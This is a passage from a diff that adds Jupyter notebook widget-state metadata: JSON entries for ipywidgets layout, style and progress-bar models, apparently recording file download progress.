+        "51489d4ab908478ebfb5a7ac43d411d4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "52938dbd04b14f5691035139ec8a72f7": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "52e70340a8834a3e94dd141a7aeb09f0": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "530735e74b9948eaa9056a83f809b697": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_349505d2b45c45fa967bb78887b5fb41",
+            "placeholder": "",
+            "style": "IPY_MODEL_87db17604d934baa8462dfeb8995c941",
+            "value": "Downloading: 100%"
+          }
+        },
+        "5431f4b36a0346d3b472ea0fe20dd48d": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "5548b9a728bd406cb81448a8600273d9": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "55a469cc6e524c8ba443e5b5bcf8ff90": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_29066cc1abd4414eb39588c1f7bbe0ae",
+            "placeholder": "",
+            "style": "IPY_MODEL_47d684cd4d554167bf7d8f6aa3f47bfe",
+            "value": "Downloading: 100%"
+          }
+        },
+        "55a5498bc8054b89aca1dec1586d5c37": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_eb51d3f98aeb41d98bf014b5ab36f439",
+            "placeholder": "",
+            "style": "IPY_MODEL_27aeec979d31476bb143313e7418725e",
+            "value": " 112/112 [00:00<00:00, 2.13kB/s]"
+          }
+        },
+        "56ea107f274f4113b8bf57bec9f52495": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_01f1934240884fdca4b258da9162eea8",
+            "placeholder": "",
+            "style": "IPY_MODEL_5ad17d5f499e4367874c55d59e038daf",
+            "value": "Downloading: 100%"
+          }
+        },
+        "574ad7e60e094412960be9762389eaae": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_6387713d4afe4bc0ac4b93d07e68bba8",
+            "placeholder": "",
+            "style": "IPY_MODEL_5548b9a728bd406cb81448a8600273d9",
+            "value": "Downloading: 100%"
+          }
+        },
+        "5776ff420e874506b40b74b21b0232e3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "597a0fe8b94e4641b8b69bc392a616ea": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "59cdd613ead44eb78079675ad1144685": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "5ad17d5f499e4367874c55d59e038daf": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "5b9203920132437db5b017ba09a39b0b": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "5bd251dbc01a4e7586d5b1e4373a3357": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "5c5acab3637049c0b63683653d7e4014": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "5c5f650dbbbd46b4b46eadfe07b50e70": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "5cbc66891157476c8f43663695bdb2b3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "5d248bc4b414420a94a8d630905dfb15": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_55a469cc6e524c8ba443e5b5bcf8ff90",
+              "IPY_MODEL_629521b4d8f34562ac4c082b9d65676f",
+              "IPY_MODEL_2550e8fc207c43cfa401df39788831cd"
+            ],
+            "layout": "IPY_MODEL_d00f7d49a149490492e99ee3f08e21df"
+          }
+        },
+        "5d5b13b71d0245699e2fb45b57d6250a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_c869020b9b43497397b0a2d30868729d",
+              "IPY_MODEL_c1fea2bd80284249afee28ab79b0c925",
+              "IPY_MODEL_4a6fcd11063d4698b996904fd258a1d0"
+            ],
+            "layout": "IPY_MODEL_bf3d1f5feccf46f7b0fe97d0b784a685"
+          }
+        },
+        "5e6a6c1406c841a98ef115392e35dd40": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_e13c5fa8791a473d9b3c428f552a65bf",
+              "IPY_MODEL_cbd388a36e2242efbd7d8c26c2f51503",
+              "IPY_MODEL_72349d7da012411aa9d4be9df0596ea7"
+            ],
+            "layout": "IPY_MODEL_738df3c939314758b9f35b1218451b5d"
+          }
+        },
+        "5faf032ed8054ae6b1ee7ae65f52ac5d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_530735e74b9948eaa9056a83f809b697",
+              "IPY_MODEL_69cfb5b1ec0b41c7b146a55e94ac0811",
+              "IPY_MODEL_d037ec7011bd445c902b5e669b68feda"
+            ],
+            "layout": "IPY_MODEL_ea3f895078b44512a6984454b5b928fb"
+          }
+        },
+        "60958370fb1142a2b8cf1d473f71d2ab": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_51398c089c3d4ea0baee3a965ae04972",
+            "max": 1786,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_2ed8085a8e4541c09ea9ec0f215a543c",
+            "value": 1786
+          }
+        },
+        "60eb8788f58d4e5992c23b53e2dac299": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_193fa29fc74f448a96516cac5d53d864",
+            "placeholder": "",
+            "style": "IPY_MODEL_dfddae793d2d4be1aeabc47fd38675de",
+            "value": " 48.0/48.0 [00:00<00:00, 830B/s]"
+          }
+        },
+        "60ee1b216be642a7b0153b066093d434": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "612808dcd7064061a9c8358b986f225c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_1f7598f2179c49f0b7a2b80a29463007",
+            "placeholder": "",
+            "style": "IPY_MODEL_f1134fd6a3e04d8b84ceb76c0d3c1faa",
+            "value": " 446k/446k [00:00<00:00, 598kB/s]"
+          }
+        },
+        "614e698caaed457e8461b0118f39eba9": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "617f006de72348e19c544a49631da5b6": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "619905d3f5b44708a37bc724b396ffb9": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_6955009d3c9a4ac49a74de735e5682a4",
+            "placeholder": "",
+            "style": "IPY_MODEL_fc8c9c80f0e542f8bbf3e505cc6495aa",
+            "value": "Downloading: 100%"
+          }
+        },
+        "61a7a19b4e7f4e02a138f6c82daccef3": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "61d9001132a34d7991e7f97e9180429d": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "629521b4d8f34562ac4c082b9d65676f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_7f09134d6a83402986fc8bd9de27943c",
+            "max": 25,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_a9a6e1ad7ccc4254bef64aa3dd96a055",
+            "value": 25
+          }
+        },
+        "6377cea1fe8d40d3ae4404eac41225ee": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "6387713d4afe4bc0ac4b93d07e68bba8": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "64b5a6f8d2b64f6888f044af28fec482": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
